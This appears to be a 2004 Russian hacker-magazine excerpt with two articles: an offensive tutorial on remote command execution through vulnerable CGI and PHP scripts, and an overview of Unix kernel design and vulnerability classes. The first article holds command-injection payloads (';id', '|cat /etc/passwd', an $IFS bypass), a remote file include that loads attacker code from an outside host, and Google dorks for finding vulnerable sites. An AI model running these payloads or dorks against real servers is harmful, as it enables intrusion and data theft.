Текст книги "Спецвыпуск журнала «Хакер» 47, октябрь 2004 г."

Автор книги: Хакер Журнал

сообщить о нарушении

Текущая страница: 7 (всего у книги 21 страниц)

Отыщи и выполни! / Удаленное выполнение команд

Докучаев Дмитрий aka Forb ([email protected])

Хакеры способны атаковать сервер со всех сторон. Взломщик может использовать эксплоит или поразить сервер командой, выполненной через дырявый сценарий. HTTP-демон является самой опасной стороной сервера, которая скрывает за собой возможность интерпретирования практически любой *nix-команды. Об этом и многом другом ты прочтешь в данном материале.

Так много способов хороших…

На самом деле, утверждение, что удаленно выполнять команды можно только через Web, ошибочно. Любой рабочий эксплоит, нацеленный на бажный сервис, способен выполнить какое-либо действие. Это может быть добавление пользователя, запуск интерпретатора и т.д. Важно то, что сам факт переполнения буфера приводит к фатальной ошибке и, как следствие, к удачному выполнению команды. Я бы с удовольствием раскрыл все тайны переполнения, но это уже было сделано в Спеце #08.04(45), посвященном дырявым буферам.

Второй способ – атака через Web. На тысячах Web-серверов крутятся миллионы бажных сценариев, через которые можно выполнять системные запросы. Некоторые админы не исправляют уязвимые сценарии, так как надеются на фаервол, но грамотный взломщик может влегкую отключить брандмауэр даже через Web-лазейку. Я расскажу о самых известных уязвимостях в CGI/PHP-скриптах, эксплуатация которых приводит к фатальным последствиям.

Атака на пайпы

Начнем с самой популярной ошибки программистов. Баг таится в функции open(), которая есть в каждом более-менее серьезном сценарии. Суть ошибки состоит в следующем: функции передается имя файла, который необходимо прочитать и вывести на экран. Само имя поступает с входа CGI-потока, то есть задается удаленным пользователем как параметр скрипта. Всем известно, что open() понимает символ перенаправления (пайп) «|». Если этот символ встретится перед именем или после имени, функция попытается обратиться к файлу и выполнить его как команду! Хакеру достаточно изменить параметр скрипта на команду и обрамить ее вертикальными палочками.

Рассмотрим это на наглядном примере. Пусть в сценарии юзается следующий код:

Листинг

$file=param(«file»);

open(FILENAME,$file);

while( ) { print }

close(FILENAME);

Мы видим, что переменная $file поступает с потоком данных. Она не проверяется на наличие каких-либо спецсимволов, поэтому хакер без проблем может добавить в переменную парочку пайпов. При нестандартном запросе в open() поступит переменная «|id|», которая выполнится как команда, а результат будет выведен на экран. Не думай, что этих скриптов мало – по статистике, каждый третий сервер можно атаковать таким тривиальным запросом.

system() погубит мир

Как известно, функция system() предназначена для выполнения системных команд. Изредка ее используют в CGI-сценариях, запуская внешние приложения. Ничего страшного не происходит, если системный запрос не содержит пользовательских параметров скрипта. В противном случае злоумышленник может добиться выполнения произвольной команды. Рассмотрим пример бажного кода. Проект, из которого он позаимствован, и по сей день находится в онлайне, его код удалось выцепить после успешного эксплуатирования ошибки.

Листинг

#!/usr/bin/perl

### Simply Perl-Whoiser by XXX.

use CGI qw(:standard);

$host=param(«host»);

system(«whois $host > log»);

…

После того как скрипт получил параметр host, он выполняет system() с этой опцией безо всякой проверки символов. Стоит атакующему подставить в переменную $host (читай: в параметр скрипта host) символ ‘;’, а за ним произвольную команду, как в файл log поместится уже не ответ бинарника /usr/bin/whois, а команда взломщика. К примеру, запрос вида http://victim.com/whois.cgi?host=blabla.ru;id покажет текущего пользователя (то есть пользователя, с правами которого выполняются cgi-скрипты на сервере).

Sendmail – враг народа

Я не могу не упомянуть про старый добрый баг в вызове sendmail, который до сих пор можно отыскать в тухлых скриптах. Ошибка заключается в использовании опции –t. Этот параметр позволяет указывать имя получателя в командной строке. Часто при таком раскладе это имя берется из входных данных CGI-скрипта и не проверяется на спецсимволы. Вот фрагмент кода уязвимой гостевой книги:

Листинг

use CGI qw(:standard);

$email=param(«email»);

open(MAIL,"|/usr/sbin/sendmail –t $email");

print MAIL «From: [email protected]»;

print MAIL «Subject: ThanksnnThank you!n»;

close(MAIL);

Как видно, переменная $email никоим образом не проверяется, что может привести к нежелательным последствиям. Стоит только указать на странице e-mail в виде [email protected]|cat /etc/passwd, и взломщику на мыло придет письмо с вложенным passwd. И все это из-за халатности или безграмотности программиста.

Чтобы не возникало подобных ситуаций, нужно отказаться от ключика –t, а адрес получателя оформлять после вызова sendmail. Также необходимо проверять входные переменные на предмет лишних символов. Вот фрагмент кода, закрывающего баг:

Листинг

die print «Incorrect address!n» if ($email=~/[|;]/ || $email~!/@/);

open(MAIL,"|/usr/sbin/sendmail");

print MAIL «To: $emailn»;

# …

О бедном include замолвите слово

Теперь поговорим о PHP-сценариях. В них также встречаются серьезные ошибки. Самой хитовой из них можно считать include-уязвимость. Часто администраторы включают опцию register_globals в положение On. При этом все параметры, переданные сценарию, автоматически интерпретируются в переменные. С одной стороны, это очень удобно: кодер может без лишних проблем писать скрипты. А с другой стороны, никто не мешает злоумышленнику выполнить произвольный системный код на системе. Для этого достаточно создать небольшой файл megahack.php на любом сервере (хотя поддержки PHP там нет, в противном случае файлу придется дать другое расширение, так как с расширением .php при обращении к файлу он будет интерпретироваться сервером как скрипт, а в данной ситуации необходимо, чтобы сервер просто выдал его содержимое) и подсунуть URL файла уязвимому скрипту. Файл может быть таким:

Листинг

# …

include $my_include . «.php»;

# …

?>

В данном случае программист даже не представляет, что вместо его любимого data.php (если в $my_include хранится строка 'data') может подгрузиться хакерский data.php, находящийся на далеком уругвайском сервере по адресу http://urugwayhost/data.php (правда, для этого необходимо, чтобы у php директива allow_url_fopen была включена, но чаще всего так и бывает). Если все условия выполнены, взломщик вставляет в запрос дополнительный параметр «my_include» и присваивает ему значение url своего скрипта (без «.php» на конце). Например, запрос, выполняющий команду ls, выглядит следующим образом:

Листинг

http://victim/view.php?my_include=http://urugwayhost/data&cmd=ls.

В случае если админ запретил открытие ссылок в fopen(), можно составить PHP-код и поместить его в каталог /tmp: для этого стоит воспользоваться FTP или другой уязвимостью, позволяющей создавать на сервере файлы. В качестве параметра взломщик укажет путь к локальному файлу (например, /tmp/data).

Оттянись по полной!

«Ну и где найти все это добро?» – спросишь ты. Конечно, на поисковиках! Например, с помощью Гугла можно отыскать PHP-скрипт, содержащий include-баг. Для этого можно воспользоваться запросом вида «filetype:php file=». В итоге поисковик покажет все PHP-сценарии с переменной file. Я уверен, что добрая их половина «болеет» include-багом.

Если хочется найти CGI-скрипт с ошибкой в open(), можно использовать конструкцию «filetype:cgi html» или «filetype:pl html». В ответ мы получим массу сценариев с расширением .cgi или .pl соответственно, подключающих html-файлы. Именно в них содержится бажный код без проверки переменных на наличие пайпов.

В заключение замечу, что взлом через WWW – дело творческое, к каждому сценарию необходим индивидуальный подход. Только тогда взломщик сможет чего-то добиться. Но начинать надо с поиска простых ошибок – багов в open(), fopen(), system() и других аналогичных функциях. Постигнув азы, ты продвинешься далее и сможешь анализировать скрипт, даже при отсутствии его исходников. Нужно лишь стремление и опыт, а остальное прибавится само собой.

Не больше одного слова!

Бывают случаи, когда команда выполняется, но скрипт нещадно отрезает все ее аргументы. Получается, что хакер имеет право вставить всего одно слово в запрос. Из этой, казалось бы, неизбежной ситуации есть выход: вместо пробела нужно подставить пустую переменную окружения $IFS. Таким образом, запрос вида http://victim.com/bug.cgi?file=uname$ifs-a способен обойти жесткую проверку.

По умолчанию, директива allow_url_fopen разрешена. Это означает, что функция fopen() способна подгрузить любой удаленный скрипт.

В PHP также можно произвести атаку на system(). Для этого необходимо поставить «;» по краям переменной, а саму переменную представить в виде команды.

Если в сишном коде программиста заботит явление переполнения буфера, то Web-разработчика в первую очередь должны волновать параметры, передаваемые CGI-сценарию.

Ничто не мешает хакеру залить эксплоит через Web, получить рутовые права и насильно отключить фаервол.

Ядра – чистый изумруд / «Ядерные» проблемы в *nix

Ермолаев Евгений aka Saturn ([email protected])

Тебе, наверное, много раз приходилось слышать, что любой *nix – это некая «идеальная» система (в отличие от Windows), которая не зависает, не тормозит и т.д. Так ли это на самом деле? Поскольку надежность любой операционной системы зависит от ядра, обратим внимание именно на эту часть ОС.

Для начала следует разобраться с основными понятиями *nix-систем. Это очень важный момент, без которого довольно сложно разобраться в структуре системы и ядре. Ядро полностью скрывает специфику компьютера от пользователя, но в то же время зависит от этой специфики.

Основы

Первое, с чем нам предстоит столкнуться, – понятие пользователя. Здесь пользователь – это некто (нечто), имеющий свою учетную запись, состоящую из имени и пароля и еще некоторых данных вроде домашней директории. Ядро UNIX «узнает» пользователя по UID (User IDentifier) – идентификатору, который представляет собой уникальное целое число, присваемое при регистрации (автоматически или вручную админом). Пользователь относится к некой группе, определяемой GID'ом (Group IDentifier). Администратору системы отводится нулевой UID. Пользователь с таким UID называется root (рут). Это наиболее интересный персонаж, поскольку он имеет полный контроль над системой. Идеальный вариант использования какой-либо уязвимости для захвата системы – получение прав рута.

Любой пользователь в процессе работы так или иначе обращается к файлам, и здесь нельзя избежать упоминания о файловой системе (ФС).

ФС присуща древовидная структура, совершенно непривычная для пользователя DOS (Windows). Корневой каталог всегда имеет имя «/». Но это не значит, что в *nix возможно использование только одного устройства для хранения информации. «Куски» файлового дерева системы чаще всего размещаются на разных носителях, но логически это одна система. Каждый зарегистрированный пользователь имеет так называемую домашнюю директорию. В ней пользователь – царь и бог :). Теоретически юзер может получить доступ ко всем файлам в системе. Но такой доступ ограничен посредством привилегий. В отличие от MS-DOS у ФС *nix отсутствует такое понятие, как расширение файла (имя файла может содержать точку наравне с другими допустимыми символами).

Кроме того, для файловых систем *nix характерна защита информации в файлах и трактовка периферийных устройств как файлов.

Архитектура «традиционного» ядра

В *nix есть ядро, которое управляет ресурсами компьютера и предоставляет пользователям некий ограниченный набор услуг. Мы будем рассматривать UNIX TimeSharing System V («традиционный» UNIX), поскольку на ее основе построено большинство современных клонов UNIX. Начнем с того, что UNIX – независимая от платформы система. Для ее работы на какой-либо машине достаточно лишь заново скомпилировать компоненты (написанные на C). Здесь стоит заметить, что единственный компонент, который все еще зависит от аппаратной части, – это ядро.

Но в результате разделения аппаратно-зависимых и аппаратно-независимых компонентов ядра разработчикам удалось добиться того, что большая часть ядра может быть перенесена на любую платформу.

Остается малая, но аппаратно-зависимая часть, которая включает следующие компоненты:

– запуск и инициализация системы на низком уровне;

– первичная обработка внутренних и внешних прерываний;

– управление памятью;

– переключение между режимами пользователя и ядра;

– части драйверов, связанные с особенностями аппаратуры.

Как видно, в зависимой части осталось лишь небольшое число функций, которые переписывают при переносе ОС на другую платформу.

Давай теперь рассмотрим основные функции и подсистемы ядра. При включении выполняется инициализация системы. Эта функция занимается запуском и раскруткой. Средство раскрутки загружает полное ядро в память и запускает систему. Следующая функция – управление памятью, которая отображает виртуальную память процессов в оперативку. Кроме того, этот компонент обеспечивает использование одних и тех же областей оперативки для разных процессов с использованием внешних носителей. Основными подсистемами ядра являются подсистема управления файлами и подсистема управления процессами. Остановимся на них поподробнее, поскольку эти системы являются основным источником уязвимостей ядра.

В UNIX каждому файлу в соответствие ставится некий индекс, в котором содержатся описание размещения информации на физическом носителе, права доступа, владелец и другие данные. Каждый файл имеет только один индекс. Когда процесс обращается к файлу по имени, ядро возвращает индекс файла. То есть каждое имя является указателем.

Индексы хранятся в файловой системе, однако при работе с файлом ядро заносит их в таблицу индексов, которая находится в ОЗУ. Кроме таблицы индексов, ядро использует еще две информационные структуры: таблицу файлов и таблицу дескрипторов файла. Пользователь может получить доступ к файловым дескрипторам и раскрыть информацию.

Итак, основные компоненты файловой системы:

– Блок загрузки. Располагается в начале файловой системы и содержит программу начальной загрузки.

– Суперблок. Здесь обозначаются свойства файловой системы: размер, расположение свободного пространства, количество файлов и другая информация.

– Список индексов. Размер списка указывается администратором при генерации файловой системы.

– Информационные блоки. Содержат данные файлов, а также служебные данные. Информационный блок может принадлежать только одному файлу.

После того как загрузка ядра выполнена, нужно как-то создавать, завершать и следить за существующими процессами и нитями (здесь нить – это «процесс», выполняемый на общей виртуальной памяти). Этим занимается функция управления процессами и нитями. Ввиду мультипроцессорности *nix ядро обеспечивает разделение процессорного времени или процессоров, что создает эффект параллельности выполнения разных задач. Ядро – это невыгружаемый компонент, и поэтому процесс, выполняющийся в режиме ядра, продолжает свое выполнение до тех пор, пока не вернется в режим задачи либо пока не перейдет в состояние «сна». Благодаря невыгружаемости ядро обеспечивает целостность информационных структур и стабильность работы.

Кроме обозначенных подсистем, существуют также коммуникационные средства, которые отвечают за обеспечение обмена данными. Ну и замыкающей функцией является программный интерфейс, который делает возможным доступ к ядру из более высокого уровня (со стороны пользовательских процессов).

Горе от ума, или Проблемы «идеальной» архитектуры

Как видно из вышесказанного, архитектура ОС в целом и архитектура ядра в частности – это стройная, хорошо продуманная система взаимодействия компонентов. Однако несмотря на это любая *nix – уязвимая система. В том числе и на самом нижнем уровне – ядре. Одна из основных причин уязвимостей ядра – возраст ОС. С одной стороны, клоны этой операционной системы становятся популярнее день ото дня в течение 25 лет, и это уникальный случай! Кроме того, на протяжении этих лет наращиваются и возможности системы, что является большим плюсом. Однако качественные улучшения структуры не успевали (и не успевают) за ростом ее возможностей. И поэтому можно утверждать, что современные варианты UNIX структурированы не идеально. Рассмотрим основные типы уязвимостей.

Переполнение буфера (buffer overflow)

Одна из самых распространенных уязвимостей программного обеспечения и ОС в частности. Эту уязвимость вызывает небольшая ошибка, позволяющая, однако, творить чудеса. Ошибка переполнения буфера случается, если в программе происходит копирование данных без проверки свободного места в пункте назначения (буфере). Когда данных слишком много, происходит переполнение и информация попадает за границы буфера. Умелое использование этого факта позволяет запускать произвольный код с правами переполненного приложения (то есть вполне может быть, что с правами администратора). Существует огромное количество такого рода уязвимостей. Главная причина уязвимости – использование некоторых функций стандартной библиотеки языка С, не проверяющих размеры своих аргументов (например strcpy, strcat, gets или sprintf), а *nix-системы (в том числе и большая часть ядра), как ты помнишь, почти целиком написаны на C. Актуальность этой уязвимости доказывает хотя бы последний найденный баг. В UNIX 9.x найдены множественные переполнения буфера в функциях strcpy() и p_stcopy(), позволяющие локальному пользователю переписывать в стеке значение регистра eip, что может привести к выполнению произвольного кода c root-правами (см. www.securitylab.ru).

Уязвимость состояния операции

Данная проблема характерна как для *nix, так и для Windows. В никсах эта дырка обнаруживается в ядре и не имеет такого широкого распространения, как переполнение буфера. Правильно используя данную уязвимость, можно изменять файлы в системе. С первого взгляда кажется, что такая возможность не представляет особой ценности, однако подобным образом могут быть получены повышенные привилегии при помощи модификации критических файлов типа /etc/passwd и др.

Если вышеперечисленные проблемы ядра носят «хронический» характер, то следующие уязвимости – разовые, характерные для определенного клона и его версии:

1) таблица перенаправления может быть подменена удаленными пользователями, если посылать пакеты с подделанным исходным адресом;

2) /proc/tty/driver/serial раскрывает точное число введенных символов через последовательные ссылки. В результате локальный атакующий может определить длину пароля и задержку между нажатиями клавиш в течение ввода пароля;

3) локальный пользователь может эксплуатировать уязвимость состояния операции чтения файла в системном вызове execve(), чтобы аварийно завершить работу системы;

4) уязвимость в программе обработки TCP-опций входящих пакетов. Причем уязвимость действительна, если в правилах встроенного фаервола применяется tcp-option. Во всем виновата функция tcp_find_option, которая некорректно обрабатывает поле длины пакета. Если это значение больше 127, программа зацикливается. Таким образом, можно исчерпать системные ресурсы и вызвать отказ в обслуживании (DoS).

Итак, мы видим, что ядра систем *nix уязвимы. Некоторые уязвимости возникают из-за непосредственных ошибок при реализации. Другие – плоды изначально неправильной структуры ядра.

При выполнении операций над группой файлов не пытайся использовать шаблон «*.*», как в Windows, поскольку в файловой системе *nix отсутствует понятие расширения файла.

Если встретишь файл с именем «name1.name2.name3.etc», не паникуй – это вполне допустимое имя файла, не противоречащее правилам образования имен в UNIX.

Общее название командных интерпретаторов – shell, поскольку они являются «оболочкой» ядра.

Аппаратно-зависимая часть ядра делает потенциально более уязвимым все ядро, поскольку при переписывании могут возникать ошибки.

Каждая файловая система имеет свой блок загрузки, несмотря на то что для запуска системы достаточно только одного.

Ядро Linux более уязвимо, чем ядро «традиционной» UNIX, и существует ряд уязвимостей, которые характерны только для ядра Linux.